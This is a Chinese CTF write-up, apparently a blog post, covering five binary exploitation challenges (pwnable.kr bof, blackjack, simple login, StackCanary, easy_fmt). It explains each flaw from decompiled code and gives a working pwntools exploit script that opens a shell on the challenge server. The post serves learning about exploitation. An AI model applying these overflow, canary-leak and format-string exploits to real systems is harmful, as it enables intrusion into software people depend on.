SimpleCTF

WpsecCTF Pwn部分

2018-03-26  本文已影响72人  一纸笔墨

1 简单的溢出

题目来源:http://pwnable.kr 之 bof

直接放入IDA,发现func函数存在问题,利用gets函数的任意长度写入,我们可以覆盖掉v3的值

//func
int __cdecl func(int a1)
{
  char s; // [sp+1Ch] [bp-2Ch]@1 
  int v3; // [sp+3Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  puts("overflow me : ");
  gets(&s);//此处存在溢出
  if ( a1 == 0xCAFEBABE )
    system("/bin/sh");
  else
    puts("Nah..");
  return *MK_FP(__GS__, 20) ^ v3;
}

poc:

from pwn import *

r=remote('143.248.249.64',9000)
r.sendline("A"*52+"\xbe\xba\xfe\xca")
r.interactive()


2 玩个游戏吧

题目来源:http://pwnable.kr 之 blackjack

仔细审查源码,发现betting函数存在问题

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;//只是进行了二次判断,并没有多次判断
 }
 else return bet;
} // End Function

第一次输入的bet超过cash(500),会再输入一次,输入负数的金额。只要我们输了,我们就会加钱。

poc:

#如果没有出现flag,说明你简直人品爆棚,居然能赢??恐怕是个欧皇
from pwn import *
r=remote('143.248.249.64',9009)
r.recvuntil('(Y/N)\n')
r.sendline('Y')
r.recvuntil('Choice: ')
r.sendline('1')
r.recvuntil('Enter Bet: $')
r.sendline('-1000000')
r.recvuntil('or S to Stay.\n')
r.sendline('S')
r.recvuntil('N for No\n')
r.sendline('Y')
print r.readline()


3 simple login

IDA观察到auth函数中v4距离栈底只有8,但是我们输入的经过base64解密的字符串最多12位,多出来4位可以覆盖ebp,进而控制eip,而刚好input是全局变量,保存在.bss段中,地址固定,我们控制前面8位的任意四位指向correct函数中的system函数即可


auth

poc:

#coding:utf-8
from pwn import *

context.log_level='debug'
p=remote('pwnable.kr',9003)
#指向correct函数中的system函数
f1=0x08049284
#随便输入
f2=0xb1b2b3b4
#跳转到input-4,使最后eip变成input内的值
f3=0x0811EB3C


payload=b64e(p32(f1)+p32(f2)+p32(f3))
p.sendline(payload)
p.interactive()


StackCanary

ida分析,能得到两个关键信息
1.main函数中代码存在格式化字符串漏洞、栈溢出漏洞


mian函数

2.canary_protect_me函数能提供getshell


canary_protect_me函数

检查一下文件,发现地址没有PIE保护,但是存在栈保护,但是我们可以用格式化字符串去泄露Canary的值,然后在覆盖的时候注意下这个值即可。
但是这题需要注意的是在main函数中有一条莫名其妙的汇编指令导致栈偏移8字节,有兴趣的可以去找找看。

POC:

from pwn import *
context.log_level='debug'
a=remote('172.104.78.53',22002)
a.sendline('%15$x')
can=int(a.read(),16)
sys=0x08048553
a.sendline('a'*40+p32(can)+'a'*8+p32(0)+p32(sys))
a.interactive()


easy_fmt

此题跟上题类似,但是这题是利用格式化字符串去覆盖printf的got地址为system地址



注意到最后两个框的地址只有最后2个字节不同,但是不要以为只改后两位就可以了,因为在printf函数被执行依次之后,0x804a00c处的地址变成真实地址,具体可百度plt表和got表知识。


执行一次之后got表地址变为真实地址

POC:

from pwn import *
context.log_level='debug'
printf_got = 0x804a00c
system_plt_0= 0x16
system_plt_1= 0x84
system_plt_2= 0x4
system_plt_3= 0x8
offset = 7

payload = p32(printf_got+2)
payload += p32(printf_got+3)
payload += p32(printf_got)
payload += p32(printf_got+1)
#0x4
payload += "%{}c%{}$hhn".format( 0x100-16+system_plt_2, offset)
#0x8
payload += "%{}c%{}$hhn".format( system_plt_3-system_plt_2, offset+1)
#0x16
payload += "%{}c%{}$hhn".format( system_plt_0-system_plt_3, offset+2)
#0x84
payload += "%{}c%{}$hhn".format( system_plt_1-system_plt_0, offset+3)


r = remote('172.104.78.53', 22003)
r.sendline(payload)
r.read()
r.sendline("/bin/sh")
r.interactive()    
上一篇 下一篇

猜你喜欢

热点阅读